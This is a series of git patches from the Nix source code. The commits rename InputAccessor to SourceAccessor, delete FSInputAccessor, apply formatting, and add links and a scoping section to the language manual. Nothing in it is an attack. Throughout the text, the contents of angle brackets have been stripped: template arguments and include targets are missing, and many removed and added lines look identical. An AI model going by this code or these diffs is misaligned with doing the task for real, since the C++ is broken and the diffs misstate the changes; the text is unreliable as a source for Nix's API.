ref fileAccessor = wd.files.empty() - ? makeEmptyInputAccessor() + ? makeEmptySourceAccessor() : AllowListInputAccessor::create( makeFSInputAccessor(path), std::set { wd.files }, - std::move(makeNotAllowedError)).cast(); + std::move(makeNotAllowedError)).cast(); if (exportIgnore) return make_ref(self, fileAccessor, std::nullopt); else diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh index 600a42da0..e264b2f63 100644 --- a/src/libfetchers/git-utils.hh +++ b/src/libfetchers/git-utils.hh @@ -1,7 +1,6 @@ #pragma once #include "filtering-input-accessor.hh" -#include "input-accessor.hh" #include "fs-sink.hh" namespace nix { @@ -75,9 +74,9 @@ struct GitRepo virtual bool hasObject(const Hash & oid) = 0; - virtual ref getAccessor(const Hash & rev, bool exportIgnore) = 0; + virtual ref getAccessor(const Hash & rev, bool exportIgnore) = 0; - virtual ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) = 0; + virtual ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) = 0; virtual ref getFileSystemObjectSink() = 0; diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 985f2e479..b9a3d5c0d 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -272,7 +272,7 @@ struct GitArchiveInputScheme : InputScheme return {std::move(input), tarballInfo}; } - std::pair, Input> getAccessor(ref store, const Input & _input) const override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { auto [input, tarballInfo] = downloadArchive(store, _input); diff --git a/src/libfetchers/indirect.cc b/src/libfetchers/indirect.cc index 3f21445e1..ba5078631 100644 --- a/src/libfetchers/indirect.cc +++ b/src/libfetchers/indirect.cc @@ -97,7 +97,7 @@ struct IndirectInputScheme : InputScheme return input; } - std::pair, Input> getAccessor(ref store, const Input & input) const override + std::pair, Input> getAccessor(ref store, const Input & input) const override { throw Error("indirect input '%s' cannot be fetched directly", input.to_string()); } diff --git a/src/libfetchers/memory-input-accessor.cc b/src/libfetchers/memory-input-accessor.cc deleted file mode 100644 index 34a801f67..000000000 --- a/src/libfetchers/memory-input-accessor.cc +++ /dev/null @@ -1,29 +0,0 @@ -#include "memory-input-accessor.hh" -#include "memory-source-accessor.hh" -#include "source-path.hh" - -namespace nix { - -struct MemoryInputAccessorImpl : MemoryInputAccessor, MemorySourceAccessor -{ - SourcePath addFile(CanonPath path, std::string && contents) override - { - return { - ref(shared_from_this()), - MemorySourceAccessor::addFile(path, std::move(contents)) - }; - } -}; - -ref makeMemoryInputAccessor() -{ - return make_ref(); -} - -ref makeEmptyInputAccessor() -{ - static auto empty = makeMemoryInputAccessor().cast(); - return empty; -} - -} diff --git a/src/libfetchers/memory-input-accessor.hh b/src/libfetchers/memory-input-accessor.hh deleted file mode 100644 index 63afadd2a..000000000 --- a/src/libfetchers/memory-input-accessor.hh +++ /dev/null @@ -1,18 +0,0 @@ -#include "input-accessor.hh" -#include "source-path.hh" - -namespace nix { - -/** - * An input accessor for an in-memory file system. - */ -struct MemoryInputAccessor : InputAccessor -{ - virtual SourcePath addFile(CanonPath path, std::string && contents) = 0; -}; - -ref makeMemoryInputAccessor(); - -ref makeEmptyInputAccessor(); - -} diff --git a/src/libfetchers/mounted-input-accessor.cc b/src/libfetchers/mounted-input-accessor.cc index b1eeaa97d..4d086c7ad 100644 --- a/src/libfetchers/mounted-input-accessor.cc +++ b/src/libfetchers/mounted-input-accessor.cc @@ -2,11 +2,11 @@ namespace nix { -struct MountedInputAccessor : InputAccessor +struct MountedInputAccessor : SourceAccessor { - std::map> mounts; + std::map> mounts; - MountedInputAccessor(std::map> _mounts) + MountedInputAccessor(std::map> _mounts) : mounts(std::move(_mounts)) { displayPrefix.clear(); @@ -53,7 +53,7 @@ struct MountedInputAccessor : InputAccessor return displayPrefix + accessor->showPath(subpath) + displaySuffix; } - std::pair, CanonPath> resolve(CanonPath path) + std::pair, CanonPath> resolve(CanonPath path) { // Find the nearest parent of `path` that is a mount point. std::vector subpath; @@ -71,7 +71,7 @@ struct MountedInputAccessor : InputAccessor } }; -ref makeMountedInputAccessor(std::map> mounts) +ref makeMountedInputAccessor(std::map> mounts) { return make_ref(std::move(mounts)); } diff --git a/src/libfetchers/mounted-input-accessor.hh b/src/libfetchers/mounted-input-accessor.hh index b557c5dad..74e040f44 100644 --- a/src/libfetchers/mounted-input-accessor.hh +++ b/src/libfetchers/mounted-input-accessor.hh @@ -1,9 +1,9 @@ #pragma once -#include "input-accessor.hh" +#include "source-accessor.hh" namespace nix { -ref makeMountedInputAccessor(std::map> mounts); +ref makeMountedInputAccessor(std::map> mounts); } diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 67a9fc2f2..1e9683ae1 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -114,7 +114,7 @@ struct PathInputScheme : InputScheme throw Error("cannot fetch input '%s' because it uses a relative path", input.to_string()); } - std::pair, Input> getAccessor(ref store, const Input & _input) const override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { Input input(_input); std::string absPath; diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index a1f934c35..8ebc2c296 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -297,7 +297,7 @@ struct FileInputScheme : CurlInputScheme : (!requireTree && !hasTarballExtension(url.path))); } - std::pair, Input> getAccessor(ref store, const Input & _input) const override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { auto input(_input); @@ -332,7 +332,7 @@ struct TarballInputScheme : CurlInputScheme : (requireTree || hasTarballExtension(url.path))); } - std::pair, Input> getAccessor(ref store, const Input & _input) const override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { auto input(_input); diff --git a/src/libfetchers/tarball.hh b/src/libfetchers/tarball.hh index bcb5dcc5e..ba0dfd623 100644 --- a/src/libfetchers/tarball.hh +++ b/src/libfetchers/tarball.hh @@ -8,7 +8,7 @@ namespace nix { class Store; -struct InputAccessor; +struct SourceAccessor; } namespace nix::fetchers { @@ -32,7 +32,7 @@ struct DownloadTarballResult Hash treeHash; time_t lastModified; std::optional immutableUrl; - ref accessor; + ref accessor; }; /** diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index 0c54c5504..be44b2eda 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -495,7 +495,7 @@ struct GitInputScheme : InputScheme } } - std::pair, Input> getAccessorFromCommit( + std::pair, Input> getAccessorFromCommit( ref store, RepoInfo & repoInfo, Input && input) const @@ -629,7 +629,7 @@ struct GitInputScheme : InputScheme input accessor consisting of the accessor for the top-level repo and the accessors for the submodules. */ if (getSubmodulesAttr(input)) { - std::map> mounts; + std::map> mounts; for (auto & [submodule, submoduleRev] : repo->getSubmodules(rev, exportIgnore)) { auto resolved = repo->resolveSubmoduleUrl(submodule.url); @@ -665,7 +665,7 @@ struct GitInputScheme : InputScheme return {accessor, std::move(input)}; } - std::pair, Input> getAccessorFromWorkdir( + std::pair, Input> getAccessorFromWorkdir( ref store, RepoInfo & repoInfo, Input && input) const @@ -679,7 +679,7 @@ struct GitInputScheme : InputScheme auto exportIgnore = getExportIgnoreAttr(input); - ref accessor = + ref accessor = repo->getAccessor(repoInfo.workdirInfo, exportIgnore, makeNotAllowedError(repoInfo.url)); @@ -690,7 +690,7 @@ struct GitInputScheme : InputScheme consisting of the accessor for the top-level repo and the accessors for the submodule workdirs. */ if (getSubmodulesAttr(input) && !repoInfo.workdirInfo.submodules.empty()) { - std::map> mounts; + std::map> mounts; for (auto & submodule : repoInfo.workdirInfo.submodules) { auto submodulePath = CanonPath(repoInfo.url) / submodule.path; @@ -755,7 +755,7 @@ struct GitInputScheme : InputScheme return {accessor, std::move(input)}; } - std::pair, Input> getAccessor(ref store, const Input & _input) const override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { Input input(_input); diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index df6bc5335..e85f7e854 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -346,7 +346,7 @@ struct MercurialInputScheme : InputScheme return makeResult(infoAttrs, std::move(storePath)); } - std::pair, Input> getAccessor(ref store, const Input & _input) const override + std::pair, Input> getAccessor(ref store, const Input & _input) const override { Input input(_input); diff --git a/src/libutil/input-accessor.hh b/src/libutil/input-accessor.hh deleted file mode 100644 index 55b7c2f2f..000000000 --- a/src/libutil/input-accessor.hh +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once -///@file - -#include "source-accessor.hh" -#include "ref.hh" -#include "repair-flag.hh" - -namespace nix { - -MakeError(RestrictedPathError, Error); - -struct InputAccessor : virtual SourceAccessor, std::enable_shared_from_this -{ - std::optional fingerprint; - - /** - * Return the maximum last-modified time of the files in this - * tree, if available. - */ - virtual std::optional getLastModified() - { - return std::nullopt; - } - -}; - -} diff --git a/src/libutil/memory-source-accessor.cc b/src/libutil/memory-source-accessor.cc index 880fa61b7..b7207cffb 100644 --- a/src/libutil/memory-source-accessor.cc +++ b/src/libutil/memory-source-accessor.cc @@ -108,7 +108,7 @@ std::string MemorySourceAccessor::readLink(const CanonPath & path) throw Error("file '%s' is not a symbolic link", path); } -CanonPath MemorySourceAccessor::addFile(CanonPath path, std::string && contents) +SourcePath MemorySourceAccessor::addFile(CanonPath path, std::string && contents) { auto * f = open(path, File { File::Regular {} }); if (!f) @@ -118,7 +118,7 @@ CanonPath MemorySourceAccessor::addFile(CanonPath path, std::string && contents) else throw Error("file '%s' is not a regular file", path); - return path; + return SourcePath{ref(shared_from_this()), path}; } @@ -184,4 +184,10 @@ void MemorySink::createSymlink(const Path & path, const std::string & target) throw Error("file '%s' is not a symbolic link", path); } +ref makeEmptySourceAccessor() +{ + static auto empty = make_ref().cast(); + return empty; +} + } diff --git a/src/libutil/memory-source-accessor.hh b/src/libutil/memory-source-accessor.hh index 7a1990d2f..c8f793922 100644 --- a/src/libutil/memory-source-accessor.hh +++ b/src/libutil/memory-source-accessor.hh @@ -1,4 +1,4 @@ -#include "source-accessor.hh" +#include "source-path.hh" #include "fs-sink.hh" #include "variant-wrapper.hh" @@ -69,7 +69,7 @@ struct MemorySourceAccessor : virtual SourceAccessor */ File * open(const CanonPath & path, std::optional create); - CanonPath addFile(CanonPath path, std::string && contents); + SourcePath addFile(CanonPath path, std::string && contents); }; /** diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index 1f272327f..5f1afb946 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -35,7 +35,7 @@ enum class SymlinkResolution { * filesystem-like entities (such as the real filesystem, tarballs or * Git repositories). */ -struct SourceAccessor +struct SourceAccessor : std::enable_shared_from_this { const size_t number; @@ -168,6 +168,30 @@ struct SourceAccessor CanonPath resolveSymlinks( const CanonPath & path, SymlinkResolution mode = SymlinkResolution::Full); + + /** + * A string that uniquely represents the contents of this + * accessor. This is used for caching lookups (see `fetchToStore()`). + */ + std::optional fingerprint; + + /** + * Return the maximum last-modified time of the files in this + * tree, if available. + */ + virtual std::optional getLastModified() + { return std::nullopt; } }; +/** + * Return a source accessor that contains only an empty root directory. + */ +ref makeEmptySourceAccessor(); + +/** + * Exception thrown when accessing a filtered path (see + * `FilteringInputAccessor`). + */ +MakeError(RestrictedPathError, Error); + } diff --git a/src/libutil/source-path.cc b/src/libutil/source-path.cc index 2a5b20858..023b5ed4b 100644 --- a/src/libutil/source-path.cc +++ b/src/libutil/source-path.cc @@ -18,13 +18,13 @@ std::string SourcePath::readFile() const bool SourcePath::pathExists() const { return accessor->pathExists(path); } -InputAccessor::Stat SourcePath::lstat() const +SourceAccessor::Stat SourcePath::lstat() const { return accessor->lstat(path); } -std::optional SourcePath::maybeLstat() const +std::optional SourcePath::maybeLstat() const { return accessor->maybeLstat(path); } -InputAccessor::DirEntries SourcePath::readDirectory() const +SourceAccessor::DirEntries SourcePath::readDirectory() const { return accessor->readDirectory(path); } std::string SourcePath::readLink() const diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh index b8f69af12..7e4c3c65d 100644 --- a/src/libutil/source-path.hh +++ b/src/libutil/source-path.hh @@ -7,7 +7,7 @@ #include "ref.hh" #include "canon-path.hh" -#include "input-accessor.hh" +#include "source-accessor.hh" namespace nix { @@ -19,10 +19,10 @@ namespace nix { */ struct SourcePath { - ref accessor; + ref accessor; CanonPath path; - SourcePath(ref accessor, CanonPath path = CanonPath::root) + SourcePath(ref accessor, CanonPath path = CanonPath::root) : accessor(std::move(accessor)) , path(std::move(path)) { } @@ -51,19 +51,19 @@ struct SourcePath * Return stats about this `SourcePath`, or throw an exception if * it doesn't exist. */ - InputAccessor::Stat lstat() const; + SourceAccessor::Stat lstat() const; /** * Return stats about this `SourcePath`, or std::nullopt if it * doesn't exist. */ - std::optional maybeLstat() const; + std::optional maybeLstat() const; /** * If this `SourcePath` denotes a directory (not a symlink), * return its directory entries; otherwise throw an error. */ - InputAccessor::DirEntries readDirectory() const; + SourceAccessor::DirEntries readDirectory() const; /** * If this `SourcePath` denotes a symlink, return its target; diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 25c8f43c2..b5e13cc23 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -94,11 +94,11 @@ static bool parseInstallSourceOptions(Globals & globals, } -static bool isNixExpr(const SourcePath & path, struct InputAccessor::Stat & st) +static bool isNixExpr(const SourcePath & path, struct SourceAccessor::Stat & st) { return - st.type == InputAccessor::tRegular - || (st.type == InputAccessor::tDirectory && (path / "default.nix").resolveSymlinks().pathExists()); + st.type == SourceAccessor::tRegular + || (st.type == SourceAccessor::tDirectory && (path / "default.nix").resolveSymlinks().pathExists()); } @@ -119,14 +119,14 @@ static void getAllExprs(EvalState & state, auto path2 = (path / i).resolveSymlinks(); - InputAccessor::Stat st; + SourceAccessor::Stat st; try { st = path2.lstat(); } catch (Error &) { continue; // ignore dangling symlinks in ~/.nix-defexpr } - if (isNixExpr(path2, st) && (st.type != InputAccessor::tRegular || hasSuffix(path2.baseName(), ".nix"))) { + if (isNixExpr(path2, st) && (st.type != SourceAccessor::tRegular || hasSuffix(path2.baseName(), ".nix"))) { /* Strip off the `.nix' filename suffix (if applicable), otherwise the attribute cannot be selected with the `-A' option. Useful if you want to stick a Nix @@ -149,7 +149,7 @@ static void getAllExprs(EvalState & state, throw Error("too many Nix expressions in directory '%1%'", path); attrs.alloc(attrName).mkApp(&state.getBuiltin("import"), vArg); } - else if (st.type == InputAccessor::tDirectory) + else if (st.type == SourceAccessor::tDirectory) /* `path2' is a directory (with no default.nix in it); recurse into it. */ getAllExprs(state, path2, seen, attrs); @@ -171,7 +171,7 @@ static void loadSourceExpr(EvalState & state, const SourcePath & path, Value & v set flat, not nested, to make it easier for a user to have a ~/.nix-defexpr directory that includes some system-wide directory). */ - else if (st.type == InputAccessor::tDirectory) { + else if (st.type == SourceAccessor::tDirectory) { auto attrs = state.buildBindings(maxAttrs); attrs.insert(state.symbols.create("_combineChannels"), &state.vEmptyList); StringSet seen; diff --git a/src/nix/main.cc b/src/nix/main.cc index 7b0478a9f..8ea2f7748 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -14,7 +14,7 @@ #include "finally.hh" #include "loggers.hh" #include "markdown.hh" -#include "memory-input-accessor.hh" +#include "memory-source-accessor.hh" #include "terminal.hh" #include "users.hh" diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc index 5ddc031f7..10c250d74 100644 --- a/tests/unit/libexpr/primops.cc +++ b/tests/unit/libexpr/primops.cc @@ -2,7 +2,6 @@ #include #include "eval-settings.hh" -#include "memory-input-accessor.hh" #include "tests/libexpr.hh" From 20558e0462bd10c79a655756de08655e3474d18b Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 3 May 2024 12:30:28 +0200 Subject: [PATCH 0545/1251] Remove FSInputAccessor --- src/libcmd/installables.cc | 3 +- src/libexpr/eval.cc | 5 ++- src/libexpr/primops.cc | 1 - src/libfetchers/fetch-to-store.cc | 2 +- src/libfetchers/fs-input-accessor.cc | 34 ------------------- src/libfetchers/git-utils.cc | 3 +- src/libfetchers/path.cc | 3 +- src/libfetchers/store-path-accessor.cc | 17 ++++++++++ ...put-accessor.hh => store-path-accessor.hh} | 4 --- src/libfetchers/tarball.cc | 3 +- src/libfetchers/unix/git.cc | 1 - src/libfetchers/unix/mercurial.cc | 9 ++--- src/libutil/posix-source-accessor.cc | 10 ++++++ src/libutil/source-accessor.hh | 10 ++++++ tests/unit/libexpr/primops.cc | 1 + 15 files changed, 48 insertions(+), 58 deletions(-) delete mode 100644 src/libfetchers/fs-input-accessor.cc create mode 100644 src/libfetchers/store-path-accessor.cc rename src/libfetchers/{fs-input-accessor.hh => store-path-accessor.hh} (67%) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index b93c7f7e8..0d42a62cc 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -21,7 +21,6 @@ #include "url.hh" #include "registry.hh" #include "build-result.hh" -#include "fs-input-accessor.hh" #include #include @@ -147,7 +146,7 @@ MixFlakeOptions::MixFlakeOptions() .category = category, .labels = {"flake-lock-path"}, .handler = {[&](std::string lockFilePath) { - lockFlags.referenceLockFilePath = getUnfilteredRootPath(CanonPath(absPath(lockFilePath))); + lockFlags.referenceLockFilePath = {makeFSSourceAccessor(), CanonPath(absPath(lockFilePath))}; }}, .completer = completePath }); diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index fbd846d14..6fd60084d 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -15,7 +15,6 @@ #include "function-trace.hh" #include "profiles.hh" #include "print.hh" -#include "fs-input-accessor.hh" #include "filtering-input-accessor.hh" #include "memory-source-accessor.hh" #include "signals.hh" @@ -400,14 +399,14 @@ EvalState::EvalState( , emptyBindings(0) , rootFS( evalSettings.restrictEval || evalSettings.pureEval - ? ref(AllowListInputAccessor::create(makeFSInputAccessor(), {}, + ? ref(AllowListInputAccessor::create(makeFSSourceAccessor(), {}, [](const CanonPath & path) -> RestrictedPathError { auto modeInformation = evalSettings.pureEval ? "in pure evaluation mode (use '--impure' to override)" : "in restricted mode"; throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation); })) - : makeFSInputAccessor()) + : makeFSSourceAccessor()) , corepkgsFS(make_ref()) , internalFS(make_ref()) , derivationInternal{corepkgsFS->addFile( diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index a3ccc9771..109127d1d 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -15,7 +15,6 @@ #include "value-to-json.hh" #include "value-to-xml.hh" #include "primops.hh" -#include "fs-input-accessor.hh" #include "fetch-to-store.hh" #include diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc index 398286065..c105fe1fc 100644 --- a/src/libfetchers/fetch-to-store.cc +++ b/src/libfetchers/fetch-to-store.cc @@ -14,7 +14,7 @@ StorePath fetchToStore( RepairFlag repair) { // FIXME: add an optimisation for the case where the accessor is - // an FSInputAccessor pointing to a store path. + // a `PosixSourceAccessor` pointing to a store path. std::optional cacheKey; diff --git a/src/libfetchers/fs-input-accessor.cc b/src/libfetchers/fs-input-accessor.cc deleted file mode 100644 index bd4e4e2cd..000000000 --- a/src/libfetchers/fs-input-accessor.cc +++ /dev/null @@ -1,34 +0,0 @@ -#include "fs-input-accessor.hh" -#include "posix-source-accessor.hh" -#include "store-api.hh" - -namespace nix { - -ref makeFSInputAccessor() -{ - return make_ref(); -} - -ref makeFSInputAccessor(std::filesystem::path root) -{ - return make_ref(std::move(root)); -} - -ref makeStorePathAccessor( - ref store, - const StorePath & storePath) -{ - // FIXME: should use `store->getFSAccessor()` - auto root = std::filesystem::path { store->toRealPath(storePath) }; - auto accessor = makeFSInputAccessor(root); - accessor->setPathDisplay(root.string()); - return accessor; -} - -SourcePath getUnfilteredRootPath(CanonPath path) -{ - static auto rootFS = makeFSInputAccessor(); - return {rootFS, path}; -} - -} diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 5657a6b4f..a91587cb4 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -1,5 +1,4 @@ #include "git-utils.hh" -#include "fs-input-accessor.hh" #include "cache.hh" #include "finally.hh" #include "processes.hh" @@ -948,7 +947,7 @@ ref GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool export wd.files.empty() ? makeEmptySourceAccessor() : AllowListInputAccessor::create( - makeFSInputAccessor(path), + makeFSSourceAccessor(path), std::set { wd.files }, std::move(makeNotAllowedError)).cast(); if (exportIgnore) diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 1e9683ae1..68958d559 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -1,8 +1,7 @@ #include "fetchers.hh" #include "store-api.hh" #include "archive.hh" -#include "fs-input-accessor.hh" -#include "posix-source-accessor.hh" +#include "store-path-accessor.hh" namespace nix::fetchers { diff --git a/src/libfetchers/store-path-accessor.cc b/src/libfetchers/store-path-accessor.cc new file mode 100644 index 000000000..6eeeba3e8 --- /dev/null +++ b/src/libfetchers/store-path-accessor.cc @@ -0,0 +1,17 @@ +#include "store-path-accessor.hh" +#include "store-api.hh" + +namespace nix { + +ref makeStorePathAccessor( + ref store, + const StorePath & storePath) +{ + // FIXME: should use `store->getFSAccessor()` + auto root = std::filesystem::path { store->toRealPath(storePath) }; + auto accessor = makeFSSourceAccessor(root); + accessor->setPathDisplay(root.string()); + return accessor; +} + +} diff --git a/src/libfetchers/fs-input-accessor.hh b/src/libfetchers/store-path-accessor.hh similarity index 67% rename from src/libfetchers/fs-input-accessor.hh rename to src/libfetchers/store-path-accessor.hh index 80dc74725..4aa55c4df 100644 --- a/src/libfetchers/fs-input-accessor.hh +++ b/src/libfetchers/store-path-accessor.hh @@ -7,10 +7,6 @@ namespace nix { class StorePath; class Store; -ref makeFSInputAccessor(); - -ref makeFSInputAccessor(std::filesystem::path root); - ref makeStorePathAccessor( ref store, const StorePath & storePath); diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index 8ebc2c296..33c8f3c0c 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -8,8 +8,7 @@ #include "tarfile.hh" #include "types.hh" #include "split.hh" -#include "posix-source-accessor.hh" -#include "fs-input-accessor.hh" +#include "store-path-accessor.hh" #include "store-api.hh" #include "git-utils.hh" diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index be44b2eda..c8fd295c0 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -9,7 +9,6 @@ #include "pathlocks.hh" #include "processes.hh" #include "git.hh" -#include "fs-input-accessor.hh" #include "mounted-input-accessor.hh" #include "git-utils.hh" #include "logging.hh" diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index e85f7e854..4d95f54f0 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -6,8 +6,7 @@ #include "tarfile.hh" #include "store-api.hh" #include "url-parts.hh" -#include "fs-input-accessor.hh" -#include "posix-source-accessor.hh" +#include "store-path-accessor.hh" #include "fetch-settings.hh" #include @@ -211,10 +210,9 @@ struct MercurialInputScheme : InputScheme return files.count(file); }; - PosixSourceAccessor accessor; auto storePath = store->addToStore( input.getName(), - accessor, CanonPath { actualPath }, + *makeFSSourceAccessor(), CanonPath { actualPath }, FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {}, filter); @@ -320,8 +318,7 @@ struct MercurialInputScheme : InputScheme deletePath(tmpDir + "/.hg_archival.txt"); - PosixSourceAccessor accessor; - auto storePath = store->addToStore(name, accessor, CanonPath { tmpDir }); + auto storePath = store->addToStore(name, *makeFSSourceAccessor(), CanonPath { tmpDir }); Attrs infoAttrs({ {"rev", input.getRev()->gitRev()}, diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index a589bfd3d..f7dffb871 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -166,4 +166,14 @@ void PosixSourceAccessor::assertNoSymlinks(CanonPath path) } } +ref makeFSSourceAccessor() +{ + static auto rootFS = make_ref(); + return rootFS; +} + +ref makeFSSourceAccessor(std::filesystem::path root) +{ + return make_ref(std::move(root)); +} } diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index 5f1afb946..548feddfd 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -194,4 +194,14 @@ ref makeEmptySourceAccessor(); */ MakeError(RestrictedPathError, Error); +/** + * Return an accessor for the root filesystem. + */ +ref makeFSSourceAccessor(); + +/** + * Return an accessor for the filesystem rooted at `root`. + */ +ref makeFSSourceAccessor(std::filesystem::path root); + } diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc index 10c250d74..5b5898237 100644 --- a/tests/unit/libexpr/primops.cc +++ b/tests/unit/libexpr/primops.cc @@ -2,6 +2,7 @@ #include #include "eval-settings.hh" +#include "memory-source-accessor.hh" #include "tests/libexpr.hh" From ffc280f27a57afea8480c0e2505408d730c9e61c Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 3 May 2024 15:41:03 +0200 Subject: [PATCH 0546/1251] Formatting --- src/libfetchers/store-path-accessor.cc | 6 ++---- src/libfetchers/store-path-accessor.hh | 4 +--- 2 files changed, 3 insertions(+), 7 deletions(-) diff --git a/src/libfetchers/store-path-accessor.cc b/src/libfetchers/store-path-accessor.cc index 6eeeba3e8..528bf2a4f 100644 --- a/src/libfetchers/store-path-accessor.cc +++ b/src/libfetchers/store-path-accessor.cc @@ -3,12 +3,10 @@ namespace nix { -ref makeStorePathAccessor( - ref store, - const StorePath & storePath) +ref makeStorePathAccessor(ref store, const StorePath & storePath) { // FIXME: should use `store->getFSAccessor()` - auto root = std::filesystem::path { store->toRealPath(storePath) }; + auto root = std::filesystem::path{store->toRealPath(storePath)}; auto accessor = makeFSSourceAccessor(root); accessor->setPathDisplay(root.string()); return accessor; diff --git a/src/libfetchers/store-path-accessor.hh b/src/libfetchers/store-path-accessor.hh index 4aa55c4df..989cf3fa2 100644 --- a/src/libfetchers/store-path-accessor.hh +++ b/src/libfetchers/store-path-accessor.hh @@ -7,9 +7,7 @@ namespace nix { class StorePath; class Store; -ref makeStorePathAccessor( - ref store, - const StorePath & storePath); +ref makeStorePathAccessor(ref store, const StorePath & storePath); SourcePath getUnfilteredRootPath(CanonPath path); From 460d8fbaea6c5600b88efe1be84623c7fa32b073 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Niklas=20Hamb=C3=BCchen?= Date: Mon, 29 Apr 2024 03:57:28 +0200 Subject: [PATCH 0547/1251] language: Link examples to detail explanations. Also, warn of the scoping caveats of `with`. --- doc/manual/src/language/constructs.md | 28 +++++++++ doc/manual/src/language/index.md | 84 ++++++++++++++++----------- 2 files changed, 79 insertions(+), 33 deletions(-) diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md index a82ec5960..ad1fdfe5f 100644 --- a/doc/manual/src/language/constructs.md +++ b/doc/manual/src/language/constructs.md @@ -402,7 +402,35 @@ establishes the same scope as let a = 1; in let a = 2; in let a = 3; in let a = 4; in ... ``` +Variables coming from outer `with` expressions *are* shadowed: + +```nix +with { a = "outer"; }; +with { a = "inner"; }; +a +``` + +Does evaluate to `"inner"`. + ## Comments Comments can be single-line, started with a `#` character, or inline/multi-line, enclosed within `/* ... */`. + +`#` comments last until the end of the line. + +`/*` comments run until the next occurrence of `*/`; this cannot be escaped. + +## Scoping rules + +Nix has constructs with + +* dynamic scope + * [`with`](#with-expressions) +* static scope + * [`let`](#let-expressions) + * [`inherit`](#inheriting-attributes) + * function arguments + +Static scope takes precedence over dynamic scope. +See [`with`](#with-expressions) for a detailed example. diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md index 650412f1b..3694480d7 100644 --- a/doc/manual/src/language/index.md +++ b/doc/manual/src/language/index.md @@ -53,7 +53,7 @@ This is an incomplete overview of language features, by example. - *Basic values* + *Basic values ([primitives](@docroot@/language/values.md#primitives))* @@ -71,7 +71,7 @@ This is an incomplete overview of language features, by example. - A string + A [string](@docroot@/language/values.md#type-string) @@ -94,6 +94,18 @@ This is an incomplete overview of language features, by example. + + + + `# Explanation` + + + + + A [comment](@docroot@/language/constructs.md#comments). + + + @@ -106,7 +118,7 @@ This is an incomplete overview of language features, by example. - String interpolation (expands to `"hello world"`, `"1 2 3"`, `"/nix/store/-bash-/bin/sh"`) + [String interpolation](@docroot@/language/string-interpolation.md) (expands to `"hello world"`, `"1 2 3"`, `"/nix/store/-bash-/bin/sh"`) @@ -118,7 +130,7 @@ This is an incomplete overview of language features, by example. - Booleans + [Booleans](@docroot@/language/values.md#type-boolean) @@ -130,7 +142,7 @@ This is an incomplete overview of language features, by example. - Null value + [Null](@docroot@/language/values.md#type-null) value @@ -142,7 +154,7 @@ This is an incomplete overview of language features, by example. - An integer + An [integer](@docroot@/language/values.md#type-number) @@ -154,7 +166,7 @@ This is an incomplete overview of language features, by example. - A floating point number + A [floating point number](@docroot@/language/values.md#type-number) @@ -166,7 +178,7 @@ This is an incomplete overview of language features, by example. - An absolute path + An absolute [path](@docroot@/language/values.md#type-path) @@ -178,7 +190,7 @@ This is an incomplete overview of language features, by 